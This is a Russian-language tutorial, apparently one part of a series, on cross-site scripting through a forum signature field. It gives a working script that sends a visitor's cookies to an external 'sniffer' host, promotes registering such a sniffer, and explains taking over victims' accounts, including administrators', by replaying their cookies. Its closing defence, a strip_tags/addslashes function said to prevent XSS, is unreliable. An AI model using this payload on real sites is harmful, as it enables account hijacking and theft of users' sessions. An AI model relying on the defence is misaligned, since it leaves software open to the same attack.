1)
Название : CSS(Сross Site Scripting,обычное название XSS,дабы не путать с Cascade Styles Sheet)
Оценка: 9 баллов
Краткий обзор :
В своей распространенности не уступает,а местами даже превосходит SQL-иньекции.Позволяет злоумышленнику заходить на сайт под чужими логинами,и не дай бог этим логином будет Админ!Реже можно применять для комментирования всего HTML-кода,не позволяя ни одному из юзеров увидеть тему и комментарии
Краткое описание,действие XSS
XSS со всей смелостью можно назвать иньекцией,но весьма своеобразной,т.к. она осуществляет иньекцию кода.К примеру имеется текстовое поле,наподобие подписи под каждым вашим постом,т.е пишите пост,а снизу отображается написанная заранее вами фраза.Поле ни в какую не пропускает иньекцию,но действительно ли оно неуязвимо?Сейчас мы это проверим.Вдумайтесь вначале в логику подписи,ведь это просто-напросто предложение в некотором HTML-коде,поэтому попробуем написать вместо "you can see me only when die" небольшой скрипт на javascript
<script>alert();</script>
Для тех ,кто не знаком с этим языком,говорю,что она просто выводит на экран пустое сообщение.
Замечание
Обратите внимание,что скрипт я написал в одну строчку,чтобы автоматом не прибавлялись ненужные переносы строк,из-за которых скрипт не будет элементарно выполняться.
- Ну и что?-можете сказать вы-где же тут уязвимость,где наши "халявные" логины,как вообще может client-side язык причинить что-то существенное у другого на компьютере?
А вот чем..Большинство(даже сказал бы подавляющее большинство) сайтов используюет автоматический заход на сайт.Как же он осуществляется?Обычно ,с помощью кукисов.Информация в кукисе хранится чрезвычайно экзотическая,в том смысле,что там и есть информация,и как-будто бы и нет,потому как она жестоко зашифрована,так что расшифровывать рекомендую только маньякам.Но особенность и комичность ситуации в том,что элементарно,по-дестки скопировав содержимое кукиса другого персонажа в свой мы зайдем под его логином!Т.е. границы нашей задачи прорисовываются все более четче.Получить содержимое кукисов персонажа.Вот тут и выходит на первый план скромный javascript(заранее говорю,посмотрев на следующий код,не пугайтесь,все изложу по полочкам)
<script>
img = new Image();
img.src = "http://s.netsec.ru/cage.gif"+document.cookie;
</script>
Прежде чем приступить к описанию этого кода,я хотел бы с вами поговорить о сниффере.Sniffer(в перев. англ. нюхач) - программа,"вынюхивающая" информацию о жертве,может быть различных видов,мы поговорим о web-sniffer.Элементарный скрипт на РНР,считывающий request-строку,и записывающий в БД,запоминает также ip и другую "мелочь".Сниффер на своем сервере имеет расширение gif,но благодаря настройкам .htaccess исполняется именно как РНР-файл,но чтобы не было подозрений,вначале дает редирект на картинку размером 1х1 пиксель.
Внимание: Зарегистрировать свой сниффер вы можете по адресу http://s.netsec.ru
Предположим мы зарегистрировали сниффер следующего адреса http://s.netsec.ru/cage.gif,логи его можно посмотреть зайдя на свой сниффер,используя зарегистрированный логин и пароль.К примеру набрав адрес
http://s.netsec.ru/cage.gif?cage
в логах сниффера мы получим строку cage!
Теперь вернемся к нашему скрипту:
В первой строке мы создаем объект рисунка,так называемую пустышку,во второй строке адресу этого русунка задаем адрес нашего сниффера + кукисы в request-строке с данного домена.Ву а ля!Зайдя на свой сниффер через полчаса(не забыв перед этим основательно попостить) вы увидите кучу информации,среди которой вы легко найдете куку!Поменяв значение своей куки на значение куки со сниффера и заного зайдя на сайт вы ощутите себя РиальнымКулХацкером!
Меры защиты:
Они основаны "кто на чем хочет",одни убирают вообще теги,другие заменяют их на квадратные скобки,3-и с помощью регулярных выражений преобразуют их в HTML-сущности.Я покажу вам первый способ,остальное,я уверен,вы сможете додумать сами(рекомендуемый способ 3-й в силу его эстетичности).
Функцию ClearStr($str) из части 1 преобразуем в следущую сущность
function ClearStr($str)
{
if(!get_magic_quotes_gpc())
$str=addslashes(strip_tags($str));
return trim($str);
}
Вот и все,теперь обрабатывая данные с помощью методов данного класса,вы избежите XSS-уязвимости
To be continued…